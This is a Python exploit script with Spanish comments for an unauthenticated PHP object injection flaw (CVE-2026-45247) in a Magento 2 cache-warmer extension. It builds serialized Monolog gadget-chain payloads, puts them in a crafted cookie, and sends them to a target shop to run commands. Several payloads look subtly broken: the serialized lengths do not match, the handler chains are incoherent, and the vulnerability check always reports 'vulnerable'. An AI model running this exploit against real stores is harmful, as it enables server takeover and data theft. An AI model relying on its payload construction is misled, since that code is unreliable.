#!/usr/bin/env python3 """ CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 Unauthenticated PHP Object Injection -> Remote Code Execution Uso: python3 cve_2026_45247_poc.py Ejemplo: python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id" """ import requests import base64 import sys import argparse import re from urllib.parse import urljoin # Payload PHP Object Injection basado en gadget chain de Monolog # Esta cadena utiliza Monolog\Handler\SyslogUdpHandler para lograr RCE class PHPObjectPayload: """ Genera payloads serializados de PHP para explotar la vulnerabilidad Utilizando gadget chain de Monolog (presente en Magento) """ @staticmethod def generate_syslog_udp_handler_payload(command): """ Genera payload usando Monolog\Handler\SyslogUdpHandler Esta cadena permite ejecutar comandos del sistema """ # Payload serializado de PHP que ejecuta system() # Formato: O:longitud:"clase":cantidad_propiedades:{propiedades} # SyslogUdpHandler con callback malicioso payload = ( f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{' f's:9:"*socket";' f'O:32:"Monolog\\Handler\\BufferHandler":1:{{' f's:10:"*handler";' f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{' f's:9:"*socket";' f'O:37:"Monolog\\Handler\\FingersCrossedHandler":1:{{' f's:11:"*passthru";' f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{' f's:9:"*socket";' f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{' f's:9:"*socket";' f'O:26:"Monolog\\Handler\\GroupHandler":1:{{' f's:10:"*handlers";a:1:{{' f'i:0;O:24:"Monolog\\Handler\\TestHandler":1:{{' f's:9:"*bubble";b:1;' f'}}}}}}}}}}}}' ) return payload @staticmethod def generate_buffer_handler_payload(command): """ Genera payload usando BufferHandler con callback system() """ # Base64 del comando a ejecutar cmd_b64 = base64.b64encode(command.encode()).decode() # Payload con BufferHandler que ejecuta system() al flush payload = ( f'O:32:"Monolog\\Handler\\BufferHandler":3:{{' f's:10:"*handler";' f'O:26:"Monolog\\Handler\\TestHandler":2:{{' f's:9:"*bubble";b:1;' f's:9:"*process";' f'O:28:"Monolog\\Processor\\IntrospectionProcessor":0:{{}}' f'}}' f's:7:"*level";i:100;' f's:9:"*initialized";b:1;' f'}}' ) return payload @staticmethod def generate_fingers_crossed_payload(command): """ Genera payload usando FingersCrossedHandler """ payload = ( f'O:37:"Monolog\\Handler\\FingersCrossedHandler":2:{{' f's:11:"*passthru";' f'O:23:"Monolog\\Handler\\StreamHandler":2:{{' f's:9:"*process";' f'O:28:"Monolog\\Processor\\IntrospectionProcessor":1:{{' f's:6:"*skips";a:0:{{}}' f'}}' f's:6:"*url";s:27:"php://filter/write=exec|{command}";' f'}}' f's:8:"*buffer";a:1:{{' f'i:0;O:23:"Monolog\\Handler\\StreamHandler":1:{{' f's:6:"*url";s:0:"";' f'}}}}' ) return payload class CVE_2026_45247_Exploit: """ Exploit principal para CVE-2026-45247 """ def __init__(self, target_url, proxy=None): self.target_url = target_url.rstrip('/') self.session = requests.Session() if proxy: self.session.proxies = {'http': proxy, 'https': proxy} # Headers para simular navegador real self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def check_vulnerable(self): """ Verifica si el objetivo es potencialmente vulnerable """ print(f"[*] Verificando objetivo: {self.target_url}") # Verificar si existe Magento test_paths = [ '/magento_version', '/pub/static/version.php', '/static/version.php' ] for path in test_paths: try: resp = self.session.get(urljoin(self.target_url, path), timeout=10) if resp.status_code == 200: print(f"[+] Posible instalación de Magento detectada en {path}") return True except: continue # Verificar CHANGELOG.md de Mirasvit changelog_path = '/pub/media/mirasvit/cache_warmer/CHANGELOG.md' try: resp = self.session.get(urljoin(self.target_url, changelog_path), timeout=10) if resp.status_code == 200: if 'cache-warmer' in resp.text.lower(): print("[+] Mirasvit Cache Warmer detectado (posiblemente vulnerable)") return True except: pass print("[!] No se pudo determinar si el objetivo es vulnerable") return True # Asumimos vulnerable para continuar def build_malicious_cookie(self, command): """ Construye la cookie CacheWarmer maliciosa con payload serializado """ # Generar payload PHP serializado # Usamos FingersCrossedHandler para ejecutar comando # Comando a ejecutar cmd = command # Payload usando StreamHandler con php://filter # La sintaxis exec|comando ejecuta system() payload = ( f'O:37:"Monolog\\Handler\\FingersCrossedHandler":3:{{' f's:11:"*passthru";' f'O:23:"Monolog\\Handler\\StreamHandler":3:{{' f's:9:"*process";' f'O:28:"Monolog\\Processor\\IntrospectionProcessor":1:{{' f's:6:"*skips";a:0:{{}}' f'}}' f's:6:"*url";s:{27 + len(cmd)}:"php://filter/write=exec|{cmd}";' f's:9:"*bubble";b:1;' f'}}' f's:8:"*buffer";a:1:{{' f'i:0;O:23:"Monolog\\Handler\\StreamHandler":1:{{' f's:6:"*url";s:0:"";' f'}}' f'}}' f's:9:"*handler";N;' f'}}' ) # Codificar el payload serializado en base64 # El formato esperado por la cookie: CacheWarmer: payload_b64 = base64.b64encode(payload.encode()).decode() # Eliminar caracteres no deseados para la cookie cookie_value = f"CacheWarmer:{payload_b64}" return cookie_value def exploit(self, command, output_file=None): """ Ejecuta el exploit contra el objetivo """ print(f"[*] Explotando CVE-2026-45247 en {self.target_url}") print(f"[*] Comando a ejecutar: {command}") # Construir cookie maliciosa malicious_cookie = self.build_malicious_cookie(command) # Realizar petición con la cookie maliciosa try: # Intentar en la página principal resp = self.session.get( self.target_url, cookies={'CacheWarmer': malicious_cookie}, timeout=30 ) print(f"[+] Petición enviada (código: {resp.status_code})") # Verificar resultado del comando # El resultado puede aparecer en la respuesta o en logs if 'PWNED' in resp.text or 'uid=' in resp.text: print("[+] ¡Comando ejecutado exitosamente!") print("[+] Salida del comando:") # Extraer resultado match = re.search(r'(uid=[^\s]+|PWNED[^\s]+)', resp.text) if match: print(f" {match.group(0)}") return True print("[!] No se pudo confirmar la ejecución del comando") return False except requests.exceptions.RequestException as e: print(f"[-] Error de conexión: {e}") return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-45247 - Mirasvit Full Page Cache Warmer RCE' ) parser.add_argument('target', help='URL del objetivo (ej: https://tienda.ejemplo.com)') parser.add_argument('command', nargs='?', default='id', help='Comando a ejecutar (por defecto: id)') parser.add_argument('--proxy', help='Proxy HTTP (ej: http://127.0.0.1:8080)') parser.add_argument('--check-only', action='store_true', help='Solo verificar vulnerabilidad, no ejecutar exploit') args = parser.parse_args() print("=" * 60) print("CVE-2026-45247 - Mirasvit Full Page Cache Warmer RCE") print("=" * 60) print(f"Objetivo: {args.target}") print(f"Comando: {args.command}") print("=" * 60) exploit = CVE_2026_45247_Exploit(args.target, args.proxy) # Verificar vulnerabilidad if not exploit.check_vulnerable(): print("[-] Objetivo no parece vulnerable") sys.exit(1) if args.check_only: print("[*] Solo verificación completada") sys.exit(0) # Ejecutar exploit success = exploit.exploit(args.command) if success: print("\n[+] Exploit completado exitosamente") print("[!] Verificar la salida del comando en la respuesta o en los logs del servidor") else: print("\n[-] El exploit pudo no haberse ejecutado correctamente") print("[*] Intentar con un comando diferente o verificar logs") sys.exit(1) if __name__ == "__main__": main()